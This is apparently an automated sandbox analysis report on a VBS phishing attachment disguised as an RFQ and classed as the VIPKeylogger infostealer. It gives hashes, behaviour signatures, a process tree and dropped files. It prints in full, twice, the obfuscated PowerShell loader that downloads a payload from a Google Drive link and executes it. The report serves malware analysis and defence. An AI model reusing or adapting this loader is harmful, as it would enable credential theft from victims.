Overview

overview

10

Static

static

1

Permintaan...24.vbs

windows7-x64

8

Permintaan...24.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2024, 06:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Permintaan Untuk Sebutharga RFQ 087624.vbs

  • Size

    34KB

  • MD5

    cd5285fd6117aced83552e3a0ff857f4

  • SHA1

    2209301c58e66ec7effd3e3135bb4561c61989fc

  • SHA256

    0bf7c4713620f1c36fd682cfbc84c20664cde9ae5731ffee6ad57dbd711dc237

  • SHA512

    95e9c96e457e7863bc521909462cd56dc36c39118ad0c450a9147db8165f45c2a0054ef1c314ea3d36009d399db06f75ab60081e32e760027c1e6380b3e1302f

  • SSDEEP

    192:FwOg+1pDFSO662Fm4OtXPn+a4qsXiKOIZ4gWhCDBgCTZ93DUKH0LB+4z2qDAn83M:F3z2CtXP+aEbZzLdgVNz2qDrkayYcd

Score
10/10
vipkeyloggercollectiondiscoveryexecutionkeyloggerstealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

    stealerkeyloggervipkeylogger
  • Vipkeylogger family
    vipkeylogger
  • Blocklisted process makes network request 11 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Permintaan Untuk Sebutharga RFQ 087624.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Grnskollingen Wantless Epitaphing Beregner Ossifies Secerner #>;$Kildrendes='Sympathised';<#Papirkurvenes Mozambican Unaccurate Optomeninx Quasimodo Alsike #>; function Skraldgasvrket($Antistreptococcal){If ($host.DebuggerEnabled) {$Heteroclite++;}$Portobesparelse=$Bebops+$Antistreptococcal.'Length' - $Heteroclite; for ( $Aortae=5;$Aortae -lt $Portobesparelse;$Aortae+=6){$Fritidshjemmene252=$Aortae;$Coterminal+=$Antistreptococcal[$Aortae];}$Coterminal;}function Fremmedarbejder($skoledirektions){ & ($Stvlehlens) ($skoledirektions);}$Novemfid164=Skraldgasvrket 'FaconMO,eano Sny.z Smrei Antil Pap lSmdesaFla,l/Brspa ';$Aortaenternaliserede=Skraldgasvrket 'CuspaTDdsmalOptrksVandm1Water2Sjusk ';$Abiogenesis123='h,dro[b,tchNTiltre Be,mtFagk .headbSEkspae albiRKommaVBesmyIS andCPolcpEShe.pPBundtoPan,eI,ukseNMilliTUncirm TurbA.iscanPicraaUforuGUngloECampaRCisel]Auroc:Keith:NikotSSaml,eDikegCfilnuUPapirRTermoiTeamaTnske YDep.ep Brofr laao Ap eTNo.atoImpenCUniveO eforlApote= teti$EncroAOsmicONstverMotettVernaADataseCircuNKlen tAcetiePrincr Orthn astaATrngslDeproIErlysSNonthEamniaRGenfoESeducDValanEFirma ';$Novemfid164+=Skraldgasvrket 'Textu5 Inte. H ll0Led g Pe s(SkyttW erriiBokomnAfl,sdRntg oDominw RallsWartf FermeNS.onsTAfter Fa um1Rea,t0Fok e.Sprog0Slaan;Resfl Ne,boWCathiiOverdnUnapp6Scrip4sizab;Vizir ermixIndla6Narre4Dec m; Vi.i Sandhr Hav,vDobbe: Best1gulvs3Miste1V der. Unsa0Semic)Neg o Chla GOvereePryg cR cemkBloknoN,nni/Karna2Overv0Profe1 Hogm0Kraft0Juvel1bunds0Lymhp1U ton Ov rsFhjkoniTagskrIlioceVejmafF edsoIndh.xPaper/Arrog1froko3Udvir1zebue.Manki0Helhe ';$Annulleringernes=Skraldgasvrket ' aussuNoddeSLengtEVa.inR Sno,-TelesA Ta igO thoELdresNSchooTAc,le ';$Jilling=Skraldgasvrket ' usiohUdbultKoonit Borip Sic sEolop:Chimn/Torv /ForprdFdehjrUns.niBene vMediceJensp.Sv negFla no esto SjlfgUnderl OleteTrico.CabujcDrylooUn ermTheot/Rek.ruFormucnyvlg?OnoceeResumxreberp SynsoApsidr lantO gra=StatsdNagyaoKaffewPistan apokl LanaoIsbaaa SubcdHodag& rknoi renad Danm=Horo 1 TreakStyriYT opiw AssafgardeDBando3 T anOMelle8KuverrG aam9PteroU Tem.K ProgKHidfrPS resUHypodQ WhirbTilbaI okalT onstHPaaok1 GuslxKorroaPlumuYAngivWDecenTDro.kuFiske1.estiq unnE AffdiFlydeT pect ';$Anvilsmith194=Skraldgasvrket 'Iro i>Siste ';$Stvlehlens=Skraldgasvrket 'Sinati DiviEjura xVirke ';$Subcutaneousness='Ventilagin';$sveskestenene='\Catocarthartic.Bil';Fremmedarbejder (Skraldgasvrket 'ldrek$ SpriGAcou lForbroAva.cBIodocA G jrLFirta:KlutzhHypherMelleFUntoprTo teEHdweaRS rveNFidibEAppr.S ,ege=.usdy$Ser aeBlo.sNLimacVoldbo:Mous A ForvpP.ngepvrterDPoustA holetLol aAtaiwa+ Slum$SignasKludeVA rikESpaltsBirdgKDivinECamous ienoTBundfEG amiN He se Da,lNOmspnEGulvb ');Fremmedarbejder (Skraldgasvrket 'Fri i$ AnveGUudsiLar esoal.aaB.injeAJog.ilTrich:p owthOv rpAForewLapotrC T.ery KompO udsknAffilIeksplN RegeE,hilo=Enigm$ FiskjPegasiSponslAureoLpre aiskol,nTa erGTaish.Fla,rSH nkeP OverlBel.siInsimTV.tfy(Snotd$BrothA anelNForbuVPlateIUniciLAvocasD spoMMenneIgnistTS attH .iln1 nsys9Oogon4Indek)Sy te ');Fremmedarbejder (Skraldgasvrket $Abiogenesis123);$Jilling=$Halcyonine[0];$Sodedes107=(Skraldgasvrket 'Vejma$TrombGsnu,rl Cel,O UdreB Uns AStr.mlLejer:EurovoBaa epIodisTRiddeRStersAGenbrpPersoP kndtedugfrTthoro=Und.mnFusioE TilbWFjerk-Hai eo orrBSrkenJNonsyEforrecVintetOver, CorresSne oYGlee.sSen gTCa.anER stemInstr.MaternStofhE jreptA thr.DromiWS adseReg,sbArkivCP osplFloraiContreaspecnSkarnTNovel ');Fremmedarbejder ($Sodedes107);Fremmedarbejder (Skraldgasvrket ' tri $Imitao Protp danst.ullir LderaTelenp Sma pGi nne ,orntreinh.TenanH,todgeCo geaConindDydsdeTernar alp sLuftt[encip$Lorg,ALd,ernDatofnlegisuGuaralFunnelImpree inclr CassiI remnEncepg Entre SpunrLugtgngunfoeRegissOphel]Dagse=Caric$S bsiNBritaoAllotvSurtaeAntipmMo,pafPan,ri dmidNona,1Varer6Forsk4Hr.om ');$Hecatomb=Skraldgasvrket ' .lte$K lheoSubs pYowsatNongerNonseaPatisp Kl epAkti,eMejertCooey. LkapDunr.to Optawbl.dinDy,mnlPerduoTroopaErgomdUpda FTransif,llolGjorte Blu (Lim r$ QuacJEn rkiAutoclUdp kl R ptiKonstn sp,igunhes,v,ndb$CorkiJLetteuAcetobUndraiBr gglSkrupuBrdefmOrthosK nvem HurtiBasildRean d TaleaKonkug AntieBighenUnta.sArchi)Helti ';$Jubilumsmiddagens=$Hrfrernes;Fremmedarbejder (Skraldgasvrket 'Killa$nephrgHe teLSkrifOslavebSanjaaAktioLhills:.atisGPentaEVvereoSnda Splus COmsadilyso eUndern elsptBre,oi K trS,ahogT RepeSTra i=Talmu( ReutTSibsheCigarsdishet .kku- SautpperibaKon oTMaa eHOveri Lyri$FjendJRustpUStentbtoptei Und lInfamuOilycmStutfsp.ykiMC,phaisaxonDnrtagdMonotAAflnng fj reAinsen OverSArgho)Rb,st ');while (!$Geoscientists) {Fremmedarbejder (Skraldgasvrket 'Unrep$KommugBetryltabt oClansb Br,kaP.riblKlunt: unpAIn ladvol.mo GelauBankglSea.oiBetrueRhomb=lymph$ ForetS angrConceuGodkiedislo ') ;Fremmedarbejder $Hecatomb;Fremmedarbejder (Skraldgasvrket 'SeclusRusseTOverbABipinRSchoot Par -UnenrsGor ulMindee MellEdissoP Haun Tosp4Planl ');Fremmedarbejder (Skraldgasvrket 'Ha,dc$SmuttGSelvrl MiljORa.fsBKri,ia ailiLVarme:GavltGSi naE Sel,OBr,ndSVelouCBjergiInexeEIdealN PremTErhvei Blins StyktB salSB ych=Den,o(R gioTSka beCrotcS engrtokas.-JumpepKlokkaAdv kTUnpraH agn M,dl$Pausej verfU,erigbAngulIP evelBala uCoptemTorchsDe,imMFotogi OxiddSulevDEmigrASamkrgKlavieEx.arNTukanSUnmis)Hvidk ') ;Fremmedarbejder (Skraldgasvrket 'teleo$Sip.ngStriaLeteoco KontbKrli A AftelUdtap:DemonbDefecAtrailCTi keH SpleEUnp rlAquaeo ArbeR SlanlFormaI Forpk,rentESlutb=Opvar$ Tippg ommaLKruseOUvanebC kelAKv ntLFever:SwaggfprostuAn.ivE,nbeqLKarboiSp kuZakupueerhverKlang+Homoi+folkl%Indkb$Hal,aH Tru AMinahlForstCJung yI.dviO Uncon Swa iSgetiNTilnaeSubsk. ,hutCeg,spoTogosuT abonB nnet Tine ') ;$Jilling=$Halcyonine[$Bachelorlike];}$Kommissrerne=310351;$Rebuffable226=31445;Fremmedarbejder (Skraldgasvrket 'Stand$AlcohgconteLOmkaroCarapbs ridabota.LFriti:Semi GCh tia An.dMResupeUrete U se=C ria VliesgPenthEProviTPirnr-Sp.gncNettsoso gaNInduvt Sm tE DaranTvi,lTSkldt Belli$S culjShampU nondb ThuniSpi eLAzideuMaronmkronisPostcMBenchIBiddaD hotd CacoaTressgKonk.e Arbin emiSZ olo ');Fremmedarbejder (Skraldgasvrket ' intu$The ig A,arl Trano fovebDoebease oulFo.tr:KidnaAAutobtMonostB rmee revonIntegtCourbaRemont varcf StrioMas,ur fjersJordfgwidoweTmre,n St.peAnto. Lejev=F ags S,hon[Kon eSChausy HanesUsel t knibePrintmL.cat.skarrCReforoAffaln.respvInacceSirmur Ven t Enga]U,der:Heref: Ind FSat.rr E aroOverbmTaxaeBBaleba.stigsluxemeMuske6.tude4Fann SBac htGravmrKonnoiOpiu nDelstg coll(Husfr$B efoGCadavaFermimunconeHamst) ommu ');Fremmedarbejder (Skraldgasvrket 'Razee$masocG,requLlnforOKredsBLinjeaOes rLHatc :PeiraG affeicretir EffeoTu erNStra uKiassMScho mSalicEAlabar Out,1S,ndh1Rande3Trust Cubom=Hyren Jasmi[EskadsForumYOttersr gsrtUncroE kronMUnbu..UnconT OtomE In.uX ObliT Supp.UnbeleTegniNGummicRulleO StoldB nksiEfterNPi otGNutid]Hjern:Knejs: ugeaApendsHulloCSnakeIj,nbrICon r.DisplG EfteEInapptTommesKlo,ktantidrUnvneiEgentNBortaGUn.ab(Fabri$MetriaJvfpatKinemtSam.eEJakobNPag rtBredda TalltSnobbFDimenOBronzr emaeSO,nivgTraceEliamun essee Ana ) Fll ');Fremmedarbejder (Skraldgasvrket 'Frika$Gelecg P,ocL DarnoSili.bd rtea KlumL .yst:BorinF PiroO KradRViscoF RoosAnormkT Bruln Kwh iVoidanOpf,nGaftalstebufr Inteebe oefSv.ngoBa,ivRB falm RetaeDouchrTaple=Fordr$OveregBibelIDetairTigriOr vetn L ndU B rmMSakkaMBoellESchemrSymma1 ball1thero3vrdif. Alk SForlou K,nfBFluorsSub at Stocr Si iiSiersn Taf g Brdb(Austr$SnorkkAnbefONonr,mAppalmHi gsiUn ersUdmrksSpionR,nsemeDis,rrOmstinSknh eGeran,Frict$EntierSiksae Intrb,aktrUM scoFPostpfForskaY gleB,argulSorptET omm2Hlene2Komma6.ogal)Aftra ');Fremmedarbejder $Forfatningsreformer;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:440
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Grnskollingen Wantless Epitaphing Beregner Ossifies Secerner #>;$Kildrendes='Sympathised';<#Papirkurvenes Mozambican Unaccurate Optomeninx Quasimodo Alsike #>; function Skraldgasvrket($Antistreptococcal){If ($host.DebuggerEnabled) {$Heteroclite++;}$Portobesparelse=$Bebops+$Antistreptococcal.'Length' - $Heteroclite; for ( $Aortae=5;$Aortae -lt $Portobesparelse;$Aortae+=6){$Fritidshjemmene252=$Aortae;$Coterminal+=$Antistreptococcal[$Aortae];}$Coterminal;}function Fremmedarbejder($skoledirektions){ & ($Stvlehlens) ($skoledirektions);}$Novemfid164=Skraldgasvrket 'FaconMO,eano Sny.z Smrei Antil Pap lSmdesaFla,l/Brspa ';$Aortaenternaliserede=Skraldgasvrket 'CuspaTDdsmalOptrksVandm1Water2Sjusk ';$Abiogenesis123='h,dro[b,tchNTiltre Be,mtFagk .headbSEkspae albiRKommaVBesmyIS andCPolcpEShe.pPBundtoPan,eI,ukseNMilliTUncirm TurbA.iscanPicraaUforuGUngloECampaRCisel]Auroc:Keith:NikotSSaml,eDikegCfilnuUPapirRTermoiTeamaTnske YDep.ep Brofr laao Ap eTNo.atoImpenCUniveO eforlApote= teti$EncroAOsmicONstverMotettVernaADataseCircuNKlen tAcetiePrincr Orthn astaATrngslDeproIErlysSNonthEamniaRGenfoESeducDValanEFirma ';$Novemfid164+=Skraldgasvrket 'Textu5 Inte. H ll0Led g Pe s(SkyttW erriiBokomnAfl,sdRntg oDominw RallsWartf FermeNS.onsTAfter Fa um1Rea,t0Fok e.Sprog0Slaan;Resfl Ne,boWCathiiOverdnUnapp6Scrip4sizab;Vizir ermixIndla6Narre4Dec m; Vi.i Sandhr Hav,vDobbe: Best1gulvs3Miste1V der. Unsa0Semic)Neg o Chla GOvereePryg cR cemkBloknoN,nni/Karna2Overv0Profe1 Hogm0Kraft0Juvel1bunds0Lymhp1U ton Ov rsFhjkoniTagskrIlioceVejmafF edsoIndh.xPaper/Arrog1froko3Udvir1zebue.Manki0Helhe ';$Annulleringernes=Skraldgasvrket ' aussuNoddeSLengtEVa.inR Sno,-TelesA Ta igO thoELdresNSchooTAc,le ';$Jilling=Skraldgasvrket ' usiohUdbultKoonit Borip Sic sEolop:Chimn/Torv /ForprdFdehjrUns.niBene vMediceJensp.Sv negFla no esto SjlfgUnderl OleteTrico.CabujcDrylooUn ermTheot/Rek.ruFormucnyvlg?OnoceeResumxreberp SynsoApsidr lantO gra=StatsdNagyaoKaffewPistan apokl LanaoIsbaaa SubcdHodag& rknoi renad Danm=Horo 1 TreakStyriYT opiw AssafgardeDBando3 T anOMelle8KuverrG aam9PteroU Tem.K ProgKHidfrPS resUHypodQ WhirbTilbaI okalT onstHPaaok1 GuslxKorroaPlumuYAngivWDecenTDro.kuFiske1.estiq unnE AffdiFlydeT pect ';$Anvilsmith194=Skraldgasvrket 'Iro i>Siste ';$Stvlehlens=Skraldgasvrket 'Sinati DiviEjura xVirke ';$Subcutaneousness='Ventilagin';$sveskestenene='\Catocarthartic.Bil';Fremmedarbejder (Skraldgasvrket 'ldrek$ SpriGAcou lForbroAva.cBIodocA G jrLFirta:KlutzhHypherMelleFUntoprTo teEHdweaRS rveNFidibEAppr.S ,ege=.usdy$Ser aeBlo.sNLimacVoldbo:Mous A ForvpP.ngepvrterDPoustA holetLol aAtaiwa+ Slum$SignasKludeVA rikESpaltsBirdgKDivinECamous ienoTBundfEG amiN He se Da,lNOmspnEGulvb ');Fremmedarbejder (Skraldgasvrket 'Fri i$ AnveGUudsiLar esoal.aaB.injeAJog.ilTrich:p owthOv rpAForewLapotrC T.ery KompO udsknAffilIeksplN RegeE,hilo=Enigm$ FiskjPegasiSponslAureoLpre aiskol,nTa erGTaish.Fla,rSH nkeP OverlBel.siInsimTV.tfy(Snotd$BrothA anelNForbuVPlateIUniciLAvocasD spoMMenneIgnistTS attH .iln1 nsys9Oogon4Indek)Sy te ');Fremmedarbejder (Skraldgasvrket $Abiogenesis123);$Jilling=$Halcyonine[0];$Sodedes107=(Skraldgasvrket 'Vejma$TrombGsnu,rl Cel,O UdreB Uns AStr.mlLejer:EurovoBaa epIodisTRiddeRStersAGenbrpPersoP kndtedugfrTthoro=Und.mnFusioE TilbWFjerk-Hai eo orrBSrkenJNonsyEforrecVintetOver, CorresSne oYGlee.sSen gTCa.anER stemInstr.MaternStofhE jreptA thr.DromiWS adseReg,sbArkivCP osplFloraiContreaspecnSkarnTNovel ');Fremmedarbejder ($Sodedes107);Fremmedarbejder (Skraldgasvrket ' tri $Imitao Protp danst.ullir LderaTelenp Sma pGi nne ,orntreinh.TenanH,todgeCo geaConindDydsdeTernar alp sLuftt[encip$Lorg,ALd,ernDatofnlegisuGuaralFunnelImpree inclr CassiI remnEncepg Entre SpunrLugtgngunfoeRegissOphel]Dagse=Caric$S bsiNBritaoAllotvSurtaeAntipmMo,pafPan,ri dmidNona,1Varer6Forsk4Hr.om ');$Hecatomb=Skraldgasvrket ' .lte$K lheoSubs pYowsatNongerNonseaPatisp Kl epAkti,eMejertCooey. LkapDunr.to Optawbl.dinDy,mnlPerduoTroopaErgomdUpda FTransif,llolGjorte Blu (Lim r$ QuacJEn rkiAutoclUdp kl R ptiKonstn sp,igunhes,v,ndb$CorkiJLetteuAcetobUndraiBr gglSkrupuBrdefmOrthosK nvem HurtiBasildRean d TaleaKonkug AntieBighenUnta.sArchi)Helti ';$Jubilumsmiddagens=$Hrfrernes;Fremmedarbejder (Skraldgasvrket 'Killa$nephrgHe teLSkrifOslavebSanjaaAktioLhills:.atisGPentaEVvereoSnda Splus COmsadilyso eUndern elsptBre,oi K trS,ahogT RepeSTra i=Talmu( ReutTSibsheCigarsdishet .kku- SautpperibaKon oTMaa eHOveri Lyri$FjendJRustpUStentbtoptei Und lInfamuOilycmStutfsp.ykiMC,phaisaxonDnrtagdMonotAAflnng fj reAinsen OverSArgho)Rb,st ');while (!$Geoscientists) {Fremmedarbejder (Skraldgasvrket 'Unrep$KommugBetryltabt oClansb Br,kaP.riblKlunt: unpAIn ladvol.mo GelauBankglSea.oiBetrueRhomb=lymph$ ForetS angrConceuGodkiedislo ') ;Fremmedarbejder $Hecatomb;Fremmedarbejder (Skraldgasvrket 'SeclusRusseTOverbABipinRSchoot Par -UnenrsGor ulMindee MellEdissoP Haun Tosp4Planl ');Fremmedarbejder (Skraldgasvrket 'Ha,dc$SmuttGSelvrl MiljORa.fsBKri,ia ailiLVarme:GavltGSi naE Sel,OBr,ndSVelouCBjergiInexeEIdealN PremTErhvei Blins StyktB salSB ych=Den,o(R gioTSka beCrotcS engrtokas.-JumpepKlokkaAdv kTUnpraH agn M,dl$Pausej verfU,erigbAngulIP evelBala uCoptemTorchsDe,imMFotogi OxiddSulevDEmigrASamkrgKlavieEx.arNTukanSUnmis)Hvidk ') ;Fremmedarbejder (Skraldgasvrket 'teleo$Sip.ngStriaLeteoco KontbKrli A AftelUdtap:DemonbDefecAtrailCTi keH SpleEUnp rlAquaeo ArbeR SlanlFormaI Forpk,rentESlutb=Opvar$ Tippg ommaLKruseOUvanebC kelAKv ntLFever:SwaggfprostuAn.ivE,nbeqLKarboiSp kuZakupueerhverKlang+Homoi+folkl%Indkb$Hal,aH Tru AMinahlForstCJung yI.dviO Uncon Swa iSgetiNTilnaeSubsk. ,hutCeg,spoTogosuT abonB nnet Tine ') ;$Jilling=$Halcyonine[$Bachelorlike];}$Kommissrerne=310351;$Rebuffable226=31445;Fremmedarbejder (Skraldgasvrket 'Stand$AlcohgconteLOmkaroCarapbs ridabota.LFriti:Semi GCh tia An.dMResupeUrete U se=C ria VliesgPenthEProviTPirnr-Sp.gncNettsoso gaNInduvt Sm tE DaranTvi,lTSkldt Belli$S culjShampU nondb ThuniSpi eLAzideuMaronmkronisPostcMBenchIBiddaD hotd CacoaTressgKonk.e Arbin emiSZ olo ');Fremmedarbejder (Skraldgasvrket ' intu$The ig A,arl Trano fovebDoebease oulFo.tr:KidnaAAutobtMonostB rmee revonIntegtCourbaRemont varcf StrioMas,ur fjersJordfgwidoweTmre,n St.peAnto. Lejev=F ags S,hon[Kon eSChausy HanesUsel t knibePrintmL.cat.skarrCReforoAffaln.respvInacceSirmur Ven t Enga]U,der:Heref: Ind FSat.rr E aroOverbmTaxaeBBaleba.stigsluxemeMuske6.tude4Fann SBac htGravmrKonnoiOpiu nDelstg coll(Husfr$B efoGCadavaFermimunconeHamst) ommu ');Fremmedarbejder (Skraldgasvrket 'Razee$masocG,requLlnforOKredsBLinjeaOes rLHatc :PeiraG affeicretir EffeoTu erNStra uKiassMScho mSalicEAlabar Out,1S,ndh1Rande3Trust Cubom=Hyren Jasmi[EskadsForumYOttersr gsrtUncroE kronMUnbu..UnconT OtomE In.uX ObliT Supp.UnbeleTegniNGummicRulleO StoldB nksiEfterNPi otGNutid]Hjern:Knejs: ugeaApendsHulloCSnakeIj,nbrICon r.DisplG EfteEInapptTommesKlo,ktantidrUnvneiEgentNBortaGUn.ab(Fabri$MetriaJvfpatKinemtSam.eEJakobNPag rtBredda TalltSnobbFDimenOBronzr emaeSO,nivgTraceEliamun essee Ana ) Fll ');Fremmedarbejder (Skraldgasvrket 'Frika$Gelecg P,ocL DarnoSili.bd rtea KlumL .yst:BorinF PiroO KradRViscoF RoosAnormkT Bruln Kwh iVoidanOpf,nGaftalstebufr Inteebe oefSv.ngoBa,ivRB falm RetaeDouchrTaple=Fordr$OveregBibelIDetairTigriOr vetn L ndU B rmMSakkaMBoellESchemrSymma1 ball1thero3vrdif. Alk SForlou K,nfBFluorsSub at Stocr Si iiSiersn Taf g Brdb(Austr$SnorkkAnbefONonr,mAppalmHi gsiUn ersUdmrksSpionR,nsemeDis,rrOmstinSknh eGeran,Frict$EntierSiksae Intrb,aktrUM scoFPostpfForskaY gleB,argulSorptET omm2Hlene2Komma6.ogal)Aftra ');Fremmedarbejder $Forfatningsreformer;"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Accesses Microsoft Outlook profiles
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • outlook_office_path
      • outlook_win_path
      PID:1620

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    d336b18e0e02e045650ac4f24c7ecaa7

    SHA1

    87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

    SHA256

    87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

    SHA512

    e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xq1ayfpo.urx.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Catocarthartic.Bil
    Filesize

    445KB

    MD5

    0fcf5f0dfdeeed0ea3f76322240e9c1e

    SHA1

    99062cc746e9e3daa5bb190d55cd4e1939a43d49

    SHA256

    6026fcc450f2dc4b3f51db5dfe4afe1c50c7a021d9e7fb0a4aeb1e8ae740dc2f

    SHA512

    7ee4819a02f9881109ed5c68d33c6f88bf55b4ddba1f1afd78d8a8035d50bf2ba78de117ddd20da7de143692c0af94fb0fba3c1f44fa807a90f976a2e19aaeb7

    Download Submit

  • memory/440-23-0x00007FF929250000-0x00007FF929D11000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/440-16-0x00007FF929250000-0x00007FF929D11000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/440-19-0x00007FF929253000-0x00007FF929255000-memory.dmp

    Filesize

    8KB

    Download

  • memory/440-20-0x00007FF929250000-0x00007FF929D11000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/440-4-0x00007FF929253000-0x00007FF929255000-memory.dmp

    Filesize

    8KB

    Download

  • memory/440-15-0x00007FF929250000-0x00007FF929D11000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/440-5-0x000001D84A730000-0x000001D84A752000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1620-70-0x00000000221D0000-0x0000000022262000-memory.dmp

    Filesize

    584KB

    Download

  • memory/1620-68-0x00000000220D0000-0x0000000022120000-memory.dmp

    Filesize

    320KB

    Download

  • memory/1620-67-0x00000000222A0000-0x0000000022462000-memory.dmp

    Filesize

    1.8MB

    Download

  • memory/1620-64-0x0000000021650000-0x00000000216EC000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1620-71-0x000000001F130000-0x000000001F13A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/1620-61-0x0000000000EC0000-0x0000000002114000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1620-62-0x0000000000EC0000-0x0000000000F08000-memory.dmp

    Filesize

    288KB

    Download

  • memory/1952-26-0x0000000004E90000-0x0000000004EB2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1952-41-0x0000000005DB0000-0x0000000005DFC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1952-44-0x0000000007010000-0x00000000070A6000-memory.dmp

    Filesize

    600KB

    Download

  • memory/1952-45-0x0000000006FA0000-0x0000000006FC2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1952-46-0x0000000008220000-0x00000000087C4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1952-42-0x00000000075F0000-0x0000000007C6A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/1952-48-0x00000000087D0000-0x0000000009CFE000-memory.dmp

    Filesize

    21.2MB

    Download

  • memory/1952-43-0x0000000006300000-0x000000000631A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/1952-40-0x0000000005D80000-0x0000000005D9E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1952-38-0x0000000005760000-0x0000000005AB4000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/1952-28-0x0000000005600000-0x0000000005666000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1952-27-0x0000000005590000-0x00000000055F6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1952-25-0x0000000004EF0000-0x0000000005518000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/1952-24-0x00000000047A0000-0x00000000047D6000-memory.dmp

    Filesize

    216KB

    Download